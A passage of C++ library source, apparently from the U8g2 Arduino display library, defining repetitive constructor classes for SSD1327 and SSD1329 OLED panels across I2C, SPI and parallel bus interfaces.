reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ea_w128128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_midas_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_EA_W128128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_EA_W128128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ea_w128128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_MIDAS_128X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_MIDAS_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_midas_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_WS_128X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_WS_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_ws_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_6800 : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_8080 : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_6800 : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_8080 : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_6800 : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_8080 : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_visionox_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_visionox_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1327_VISIONOX_128X96_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1327_VISIONOX_128X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1327_i2c_visionox_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_1_6800 : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_1_8080 : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass 